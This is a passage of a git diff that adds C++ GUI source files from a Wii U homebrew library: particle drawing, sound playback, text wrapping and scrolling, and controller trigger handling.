a/src/gui/GuiParticleImage.cpp b/src/gui/GuiParticleImage.cpp new file mode 100644 index 0000000..c4915ef --- /dev/null +++ b/src/gui/GuiParticleImage.cpp @@ -0,0 +1,128 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiParticleImage.h" +#include "video/CVideo.h" +#include "video/shaders/ColorShader.h" + +#define CIRCLE_VERTEX_COUNT 36 + +static inline f32 getRandZeroToOneF32() +{ + return (rand() % 10000) * 0.0001f; +} + +static inline f32 getRandMinusOneToOneF32() +{ + return getRandZeroToOneF32() * 2.0f - 1.0f; +} + +GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount) + : GuiImage(NULL) +{ + width = w; + height = h; + imgType = IMAGE_COLOR; + + posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); + colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); + + for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++) + { + posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); + posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); + posVertexs[i * 3 + 2] = 0.0f; + + colorVertexs[i * 4 + 0] = 0xff; + colorVertexs[i * 4 + 1] = 0xff; + colorVertexs[i * 4 + 2] = 0xff; + colorVertexs[i * 4 + 3] = 0xff; + } + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); + + particles.resize(particleCount); + + for(u32 i = 0; i < particleCount; i++) + { + particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; + particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f; + particles[i].position.z = 0.0f; + particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); + particles[i].radius = getRandZeroToOneF32() * 30.0f; + particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f; + particles[i].direction = getRandMinusOneToOneF32(); + } +} + +GuiParticleImage::~GuiParticleImage() +{ + free(posVertexs); + free(colorVertexs); +} + +void GuiParticleImage::draw(CVideo *pVideo) +{ + if(!this->isVisible()) + return; + + + f32 currScaleX = getScaleX(); + f32 currScaleY = getScaleY(); + + positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; + + scaleFactor[2] = getScaleZ(); + + //! add other colors intensities parameters + colorIntensity[3] = getAlpha(); + + for(u32 i = 0; i < particles.size(); ++i) + { + if(particles[i].position.y > (getHeight() * 0.5f + 30.0f)) + { + particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; + particles[i].position.y = -getHeight() * 0.5f - 30.0f; + particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); + particles[i].radius = getRandZeroToOneF32() * 30.0f; + particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f; + particles[i].direction = getRandMinusOneToOneF32(); + } + if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f)) + { + particles[i].position.x = -particles[i].position.x; + } + + + particles[i].direction += getRandMinusOneToOneF32() * 0.03f; + particles[i].position.x += particles[i].speed * particles[i].direction; + particles[i].position.y += particles[i].speed; + + positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f; + positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f; + + scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor(); + scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor(); + + ColorShader::instance()->setShaders(); + ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT); + ColorShader::instance()->setAngle(0.0f); + ColorShader::instance()->setOffset(positionOffsets); + ColorShader::instance()->setScale(scaleFactor); + ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors); + ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); + } +} diff --git a/src/gui/GuiParticleImage.h b/src/gui/GuiParticleImage.h new file mode 100644 index 0000000..eb7565b --- /dev/null +++ b/src/gui/GuiParticleImage.h @@ -0,0 +1,45 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _GUI_PARTICLE_IMAGE_H_ +#define _GUI_PARTICLE_IMAGE_H_ + +#include "GuiImage.h" + +class GuiParticleImage : public GuiImage, public sigslot::has_slots<> +{ +public: + GuiParticleImage(int w, int h, u32 particleCount); + virtual ~GuiParticleImage(); + + void draw(CVideo *pVideo); +private: + f32 *posVertexs; + u8 *colorVertexs; + + typedef struct + { + glm::vec3 position; + glm::vec4 colors; + f32 radius; + f32 speed; + f32 direction; + } Particle; + + std::vector particles; +}; + +#endif // _GUI_ICON_GRID_H_ diff --git a/src/gui/GuiSound.cpp b/src/gui/GuiSound.cpp new file mode 100644 index 0000000..502a8a2 --- /dev/null +++ b/src/gui/GuiSound.cpp @@ -0,0 +1,193 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiSound.h" +#include "sounds/SoundHandler.hpp" +#include "dynamic_libs/os_functions.h" + +GuiSound::GuiSound(const char * filepath) +{ + voice = -1; + Load(filepath); +} + +GuiSound::GuiSound(const u8 * snd, s32 length) +{ + voice = -1; + Load(snd, length); +} + +GuiSound::~GuiSound() +{ + if(voice >= 0) + { + SoundHandler::instance()->RemoveDecoder(voice); + } +} + + +bool GuiSound::Load(const char * filepath) +{ + if(voice >= 0) + { + SoundHandler::instance()->RemoveDecoder(voice); + voice = -1; + } + + //! find next free decoder + for(int i = 0; i < MAX_DECODERS; i++) + { + SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); + if(decoder == NULL) + { + SoundHandler::instance()->AddDecoder(i, filepath); + decoder = SoundHandler::instance()->getDecoder(i); + if(decoder) + { + voice = i; + SoundHandler::instance()->ThreadSignal(); + } + break; + } + } + + if(voice < 0) + return false; + + return true; +} + +bool GuiSound::Load(const u8 * snd, s32 len) +{ + if(voice >= 0) + { + SoundHandler::instance()->RemoveDecoder(voice); + voice = -1; + } + + if(!snd) + return false; + + //! find next free decoder + for(int i = 0; i < MAX_DECODERS; i++) + { + SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); + if(decoder == NULL) + { + SoundHandler::instance()->AddDecoder(i, snd, len); + decoder = SoundHandler::instance()->getDecoder(i); + if(decoder) + { + voice = i; + SoundHandler::instance()->ThreadSignal(); + } + break; + } + } + + if(voice < 0) + return false; + + return true; +} + +void GuiSound::Play() +{ + Stop(); + + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + v->setState(Voice::STATE_START); + + +} + +void GuiSound::Stop() +{ + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + { + if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED)) + v->setState(Voice::STATE_STOP); + + while(v->getState() != Voice::STATE_STOPPED) + usleep(1000); + } + + SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); + if(decoder) + { + decoder->Lock(); + decoder->Rewind(); + decoder->ClearBuffer(); + SoundHandler::instance()->ThreadSignal(); + decoder->Unlock(); + } +} + +void GuiSound::Pause() +{ + if(!IsPlaying()) + return; + + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + v->setState(Voice::STATE_STOP); +} + +void GuiSound::Resume() +{ + if(IsPlaying()) + return; + + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + v->setState(Voice::STATE_START); +} + +bool GuiSound::IsPlaying() +{ + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + return v->getState() == Voice::STATE_PLAYING; + + return false; + +} + +void GuiSound::SetVolume(u32 vol) +{ + if(vol > 100) + vol = 100; + + u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16; + + Voice * v = SoundHandler::instance()->getVoice(voice); + if(v) + v->setVolume(volumeConv); +} + +void GuiSound::SetLoop(bool l) +{ + SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); + if(decoder) + decoder->SetLoop(l); +} + +void GuiSound::Rewind() +{ + Stop(); +} diff --git a/src/gui/GuiSound.h b/src/gui/GuiSound.h new file mode 100644 index 0000000..bb72a3b --- /dev/null +++ b/src/gui/GuiSound.h @@ -0,0 +1,60 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_SOUND_H_ +#define GUI_SOUND_H_ + +#include +#include "system/AsyncDeleter.h" + +//!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc +class GuiSound : public AsyncDeleter::Element +{ + public: + //!Constructor + //!\param sound Pointer to the sound data + //!\param filesize Length of sound data + GuiSound(const char * filepath); + GuiSound(const u8 * sound, int length); + //!Destructor + virtual ~GuiSound(); + //!Load a file and replace the old one + bool Load(const char * filepath); + //!Load a file and replace the old one + bool Load(const u8 * snd, s32 len); + //!Start sound playback + void Play(); + //!Stop sound playback + void Stop(); + //!Pause sound playback + void Pause(); + //!Resume sound playback + void Resume(); + //!Checks if the sound is currently playing + //!\return true if sound is playing, false otherwise + bool IsPlaying(); + //!Rewind the music + void Rewind(); + //!Set sound volume + //!\param v Sound volume (0-100) + void SetVolume(u32 v); + //!\param l Loop (true to loop) + void SetLoop(bool l); + protected: + s32 voice; //!< Currently assigned ASND voice channel +}; + +#endif diff --git a/src/gui/GuiText.cpp b/src/gui/GuiText.cpp new file mode 100644 index 0000000..d0ee50f --- /dev/null +++ b/src/gui/GuiText.cpp @@ -0,0 +1,600 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiText.h" +#include "FreeTypeGX.h" +#include "video/CVideo.h" + +FreeTypeGX * GuiText::presentFont = NULL; +int GuiText::presetSize = 28; +int GuiText::presetMaxWidth = 0xFFFF; +int GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE; +GX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; + +#define TEXT_SCROLL_DELAY 6 +#define TEXT_SCROLL_INITIAL_DELAY 10 +#define MAX_LINES_TO_DRAW 10 + +/** + * Constructor for the GuiText class. + */ + +GuiText::GuiText() +{ + text = NULL; + size = presetSize; + currentSize = size; + color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); + alpha = presetColor.a; + alignment = presetAlignment; + maxWidth = presetMaxWidth; + wrapMode = 0; + textWidth = 0; + font = presentFont; + linestodraw = MAX_LINES_TO_DRAW; + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + textScrollDelay = TEXT_SCROLL_DELAY; + defaultBlur = 4.0f; + blurGlowIntensity = 0.0f; + blurAlpha = 0.0f; + blurGlowColor = glm::vec4(0.0f); +} + +GuiText::GuiText(const char * t, int s, const glm::vec4 & c) +{ + text = NULL; + size = s; + currentSize = size; + color = c; + alpha = c[3]; + alignment = ALIGN_CENTER | ALIGN_MIDDLE; + maxWidth = presetMaxWidth; + wrapMode = 0; + textWidth = 0; + font = presentFont; + linestodraw = MAX_LINES_TO_DRAW; + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + textScrollDelay = TEXT_SCROLL_DELAY; + defaultBlur = 4.0f; + blurGlowIntensity = 0.0f; + blurAlpha = 0.0f; + blurGlowColor = glm::vec4(0.0f); + + if(t) + { + text = FreeTypeGX::charToWideChar(t); + if(!text) + return; + + textWidth = font->getWidth(text, currentSize); + } +} + +GuiText::GuiText(const wchar_t * t, int s, const glm::vec4 & c) +{ + text = NULL; + size = s; + currentSize = size; + color = c; + alpha = c[3]; + alignment = ALIGN_CENTER | ALIGN_MIDDLE; + maxWidth = presetMaxWidth; + wrapMode = 0; + textWidth = 0; + font = presentFont; + linestodraw = MAX_LINES_TO_DRAW; + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + textScrollDelay = TEXT_SCROLL_DELAY; + defaultBlur = 4.0f; + blurGlowIntensity = 0.0f; + blurAlpha = 0.0f; + blurGlowColor = glm::vec4(0.0f); + + if(t) + { + text = new (std::nothrow) wchar_t[wcslen(t)+1]; + if(!text) + return; + + wcscpy(text, t); + + textWidth = font->getWidth(text, currentSize); + } +} + +/** + * Constructor for the GuiText class, uses presets + */ +GuiText::GuiText(const char * t) +{ + text = NULL; + size = presetSize; + currentSize = size; + color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); + alpha = presetColor.a; + alignment = presetAlignment; + maxWidth = presetMaxWidth; + wrapMode = 0; + textWidth = 0; + font = presentFont; + linestodraw = MAX_LINES_TO_DRAW; + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + textScrollDelay = TEXT_SCROLL_DELAY; + defaultBlur = 4.0f; + blurGlowIntensity = 0.0f; + blurAlpha = 0.0f; + blurGlowColor = glm::vec4(0.0f); + + if(t) + { + text = FreeTypeGX::charToWideChar(t); + if(!text) + return; + + textWidth = font->getWidth(text, currentSize); + } +} + + +/** + * Destructor for the GuiText class. + */ +GuiText::~GuiText() +{ + if(text) + delete [] text; + text = NULL; + + clearDynamicText(); +} + +void GuiText::setText(const char * t) +{ + if(text) + delete [] text; + text = NULL; + + clearDynamicText(); + + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + + if(t) + { + text = FreeTypeGX::charToWideChar(t); + if(!text) + return; + + textWidth = font->getWidth(text, currentSize); + } +} + +void GuiText::setTextf(const char *format, ...) +{ + if(!format) + { + setText((char *) NULL); + return; + } + + int max_len = strlen(format) + 8192; + char *tmp = new char[max_len]; + va_list va; + va_start(va, format); + if((vsnprintf(tmp, max_len, format, va) >= 0) && tmp) + { + setText(tmp); + } + va_end(va); + + if(tmp) + delete [] tmp; +} + + +void GuiText::setText(const wchar_t * t) +{ + if(text) + delete [] text; + text = NULL; + + clearDynamicText(); + + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + + if(t) + { + text = new (std::nothrow) wchar_t[wcslen(t)+1]; + if(!text) + return; + + wcscpy(text, t); + + textWidth = font->getWidth(text, currentSize); + } +} + +void GuiText::clearDynamicText() +{ + for(u32 i = 0; i < textDyn.size(); i++) + { + if(textDyn[i]) + delete [] textDyn[i]; + } + textDyn.clear(); + textDynWidth.clear(); +} + +void GuiText::setPresets(int sz, const glm::vec4 & c, int w, int a) +{ + presetSize = sz; + presetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f }; + presetMaxWidth = w; + presetAlignment = a; +} + +void GuiText::setPresetFont(FreeTypeGX *f) +{ + presentFont = f; +} + +void GuiText::setFontSize(int s) +{ + size = s; +} + +void GuiText::setMaxWidth(int width, int w) +{ + maxWidth = width; + wrapMode = w; + + if(w == SCROLL_HORIZONTAL) + { + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + textScrollDelay = TEXT_SCROLL_DELAY; + } + + clearDynamicText(); +} + +void GuiText::setColor(const glm::vec4 & c) +{ + color = c; + alpha = c[3]; +} + +void GuiText::setBlurGlowColor(float blur, const glm::vec4 & c) +{ + blurGlowColor = c; + blurGlowIntensity = blur; + blurAlpha = c[3]; +} + +int GuiText::getTextWidth(int ind) +{ + if(ind < 0 || ind >= (int) textDyn.size()) + return this->getTextWidth(); + + return font->getWidth(textDyn[ind], currentSize); +} + +const wchar_t * GuiText::getDynText(int ind) +{ + if(ind < 0 || ind >= (int) textDyn.size()) + return text; + + return textDyn[ind]; +} + +/** + * Change font + */ +bool GuiText::setFont(FreeTypeGX *f) +{ + if(!f) + return false; + + font = f; + textWidth = font->getWidth(text, currentSize); + return true; +} + +std::string GuiText::toUTF8(void) const +{ + if(!text) + return std::string(); + + char *pUtf8 = FreeTypeGX::wideCharToUTF8(text); + if(!pUtf8) + return std::string(); + + std::string strOutput(pUtf8); + + delete [] pUtf8; + + return strOutput; +} + +void GuiText::makeDottedText() +{ + int pos = textDyn.size(); + textDyn.resize(pos + 1); + + int i = 0, currentWidth = 0; + textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; + if(!textDyn[pos]) { + textDyn.resize(pos); + return; + } + + while (text[i]) + { + currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); + if (currentWidth >= maxWidth && i > 2) + { + textDyn[pos][i - 2] = '.'; + textDyn[pos][i - 1] = '.'; + textDyn[pos][i] = '.'; + i++; + break; + } + + textDyn[pos][i] = text[i]; + + i++; + } + textDyn[pos][i] = 0; +} + +void GuiText::scrollText(u32 frameCount) +{ + if (textDyn.size() == 0) + { + int pos = textDyn.size(); + int i = 0, currentWidth = 0; + textDyn.resize(pos + 1); + + textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; + if(!textDyn[pos]) { + textDyn.resize(pos); + return; + } + + while (text[i] && currentWidth < maxWidth) + { + textDyn[pos][i] = text[i]; + + currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); + + ++i; + } + textDyn[pos][i] = 0; + + return; + } + + if (frameCount % textScrollDelay != 0) + { + return; + } + + if (textScrollInitialDelay) + { + --textScrollInitialDelay; + return; + } + + int stringlen = wcslen(text); + + ++textScrollPos; + if (textScrollPos > stringlen) + { + textScrollPos = 0; + textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; + } + + int ch = textScrollPos; + int pos = textDyn.size() - 1; + + if (!textDyn[pos]) + textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; + + if(!textDyn[pos]) { + textDyn.resize(pos); + return; + } + + int i = 0, currentWidth = 0; + + while (currentWidth < maxWidth) + { + if (ch > stringlen - 1) + { + textDyn[pos][i++] = ' '; + currentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0); + textDyn[pos][i++] = ' '; + currentWidth += font->getCharWidth(L' ', currentSize, L' '); + textDyn[pos][i++] = ' '; + currentWidth += font->getCharWidth(L' ', currentSize, L' '); + ch = 0; + + if(currentWidth >= maxWidth) + break; + } + + textDyn[pos][i] = text[ch]; + currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0); + ++ch; + ++i; + } + textDyn[pos][i] = 0; +} + +void GuiText::wrapText() +{ + if (textDyn.size() > 0) return; + + int i = 0; + int ch = 0; + int linenum = 0; + int lastSpace = -1; + int lastSpaceIndex = -1; + int currentWidth = 0; + + while (text[ch] && linenum < linestodraw) + { + if (linenum >= (int) textDyn.size()) + { + textDyn.resize(linenum + 1); + textDyn[linenum] = new (std::nothrow) wchar_t[maxWidth]; + if(!textDyn[linenum]) { + textDyn.resize(linenum); + break; + } + } + + textDyn[linenum][i] = text[ch]; + textDyn[linenum][i + 1] = 0; + + currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000); + + if (currentWidth >= maxWidth || (text[ch] == '\n')) + { + if(text[ch] == '\n') + { + lastSpace = -1; + lastSpaceIndex = -1; + } + else if (lastSpace >= 0) + { + textDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after + ch = lastSpace; // go backwards to the last space + lastSpace = -1; // we have used this space + lastSpaceIndex = -1; + } + + if (linenum + 1 == linestodraw && text[ch + 1] != 0x0000) + { + if(i < 2) + i = 2; + + textDyn[linenum][i - 2] = '.'; + textDyn[linenum][i - 1] = '.'; + textDyn[linenum][i] = '.'; + textDyn[linenum][i + 1] = 0; + } + + currentWidth = 0; + ++linenum; + i = -1; + } + if (text[ch] == ' ' && i >= 0) + { + lastSpace = ch; + lastSpaceIndex = i; + } + ++ch; + ++i; + } +} + +/** + * Draw the text on screen + */ +void GuiText::draw(CVideo *pVideo) +{ + if(!text) + return; + + if(!isVisible()) + return; + + color[3] = getAlpha(); + blurGlowColor[3] = blurAlpha * getAlpha(); + int newSize = size * getScale(); + + if(newSize != currentSize) + { + currentSize = newSize; + + if(text) + textWidth = font->getWidth(text, currentSize); + } + + if(maxWidth > 0 && maxWidth <= textWidth) + { + if(wrapMode == DOTTED) // text dotted + { + if(textDyn.size() == 0) + makeDottedText(); + + if(textDynWidth.size() != textDyn.size()) + { + textDynWidth.resize(textDyn.size()); + + for(u32 i = 0; i < textDynWidth.size(); i++) + textDynWidth[i] = font->getWidth(textDyn[i], currentSize); + } + + if(textDyn.size() > 0) + font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), textDyn[textDyn.size()-1], currentSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor); + } + + else if(wrapMode == SCROLL_HORIZONTAL) + { + scrollText(pVideo->getFrameCount()); + + if(textDyn.size() > 0) + font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), textDyn[textDyn.size()-1], currentSize, color, alignment, maxWidth, defaultBlur, blurGlowIntensity, blurGlowColor); + } + else if(wrapMode == WRAP) + { + int lineheight = currentSize + 6; + int yoffset = 0; + int voffset = 0; + + if(textDyn.size() == 0) + wrapText(); + + if(textDynWidth.size() != textDyn.size()) + { + textDynWidth.resize(textDyn.size()); + + for(u32 i = 0; i < textDynWidth.size(); i++) + textDynWidth[i] = font->getWidth(textDyn[i], currentSize); + } + + if(alignment & ALIGN_MIDDLE) + voffset = (lineheight * (textDyn.size()-1)) >> 1; + + for(u32 i = 0; i < textDyn.size(); i++) + { + font->drawText(pVideo, getCenterX(), getCenterY() + voffset + yoffset, getDepth(), textDyn[i], currentSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor); + yoffset -= lineheight; + } + } + } + else + { + font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), text, currentSize, color, alignment, textWidth, defaultBlur, blurGlowIntensity, blurGlowColor); + } +} diff --git a/src/gui/GuiText.h b/src/gui/GuiText.h new file mode 100644 index 0000000..d0bdea0 --- /dev/null +++ b/src/gui/GuiText.h @@ -0,0 +1,139 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_TEXT_H_ +#define GUI_TEXT_H_ + +#include "GuiElement.h" +//!Forward declaration +class FreeTypeGX; + +//!Display, manage, and manipulate text in the GUI +class GuiText : public GuiElement +{ +public: + //!Constructor + GuiText(); + //!\param t Text + //!\param s Font size + //!\param c Font color + GuiText(const char * t, int s, const glm::vec4 & c); + //!\overload + //!\param t Text + //!\param s Font size + //!\param c Font color + GuiText(const wchar_t * t, int s, const glm::vec4 & c); + //!\overload + //!\Assumes SetPresets() has been called to setup preferred text attributes + //!\param t Text + GuiText(const char * t); + //!Destructor + virtual ~GuiText(); + //!Sets the text of the GuiText element + //!\param t Text + virtual void setText(const char * t); + virtual void setText(const wchar_t * t); + virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3))); + //!Sets up preset values to be used by GuiText(t) + //!Useful when printing multiple text elements, all with the same attributes set + //!\param sz Font size + //!\param c Font color + //!\param w Maximum width of texture image (for text wrapping) + //!\param wrap Wrapmode when w>0 + //!\param a Text alignment + static void setPresets(int sz, const glm::vec4 & c, int w, int a); + static void setPresetFont(FreeTypeGX *font); + //!Sets the font size + //!\param s Font size + void setFontSize(int s); + //!Sets the maximum width of the drawn texture image + //!If the text exceeds this, it is wrapped to the next line + //!\param w Maximum width + //!\param m WrapMode + void setMaxWidth(int w = 0, int m = WRAP); + //!Sets the font color + //!\param c Font color + void setColor(const glm::vec4 & c); + + void setBlurGlowColor(float blurIntensity, const glm::vec4 & c); + + void setTextBlur(float blur) { defaultBlur = blur; } + //!Get the original text as char + virtual const wchar_t * getText() const { return text; } + virtual std::string toUTF8(void) const; + //!Get the Horizontal Size of Text + int getTextWidth() { return textWidth; } + int getTextWidth(int ind); + //!Get the max textwidth + int getTextMaxWidth() { return maxWidth; } + //!Get fontsize + int getFontSize() { return size; }; + //!Set max lines to draw + void setLinesToDraw(int l) { linestodraw = l; } + //!Get current Textline (for position calculation) + const wchar_t * getDynText(int ind = 0); + virtual const wchar_t * getTextLine(int ind) { return getDynText(ind); }; + //!Change the font + bool setFont(FreeTypeGX *font); + //! virtual function used in child classes + virtual int getStartWidth() { return 0; }; + //!Constantly called to draw the text + void draw(CVideo *pVideo); + //! text enums + enum + { + WRAP, + DOTTED, + SCROLL_HORIZONTAL, + SCROLL_NONE + }; +protected: + static FreeTypeGX * presentFont; + static int presetSize; + static int presetMaxWidth; + static int presetAlignment; + static GX2ColorF32 presetColor; + + //!Clear the dynamic text + void clearDynamicText(); + //!Create a dynamic dotted text if the text is too long + void makeDottedText(); + //!Scroll the text once + void scrollText(u32 frameCount); + //!Wrap the text to several lines + void wrapText(); + + wchar_t * text; + std::vector textDyn; + std::vector textDynWidth; + int wrapMode; //!< Wrapping toggle + int textScrollPos; //!< Current starting index of text string for scrolling + int textScrollInitialDelay; //!< Delay to wait before starting to scroll + int textScrollDelay; //!< Scrolling speed + int size; //!< Font size + int maxWidth; //!< Maximum width of the generated text object (for text wrapping) + FreeTypeGX *font; + int textWidth; + int currentSize; + int linestodraw; + glm::vec4 color; + float defaultBlur; + float blurGlowIntensity; + float blurAlpha; + glm::vec4 blurGlowColor; +}; + +#endif diff --git a/src/gui/GuiTrigger.cpp b/src/gui/GuiTrigger.cpp new file mode 100644 index 0000000..a4a172c --- /dev/null +++ b/src/gui/GuiTrigger.cpp @@ -0,0 +1,174 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiElement.h" +#include "GuiController.h" +#include "GuiTrigger.h" + +/** + * Constructor for the GuiTrigger class. + */ +GuiTrigger::GuiTrigger() + : chan(CHANNEL_ALL) + , btns(BUTTON_NONE) + , bClickEverywhere(false) + , bHoldEverywhere(false) + , bSelectionClickEverywhere(false) + , bLastTouched(false) +{ +} + +GuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere) + : chan(ch) + , btns(btn) + , bClickEverywhere(clickEverywhere) + , bHoldEverywhere(holdEverywhere) + , bSelectionClickEverywhere(selectionClickEverywhere) + , bLastTouched(false) +{ +} + +/** + * Destructor for the GuiTrigger class. + */ +GuiTrigger::~GuiTrigger() +{ +} + +/** + * Sets a simple trigger. Requires: + * - Element is selected + * - 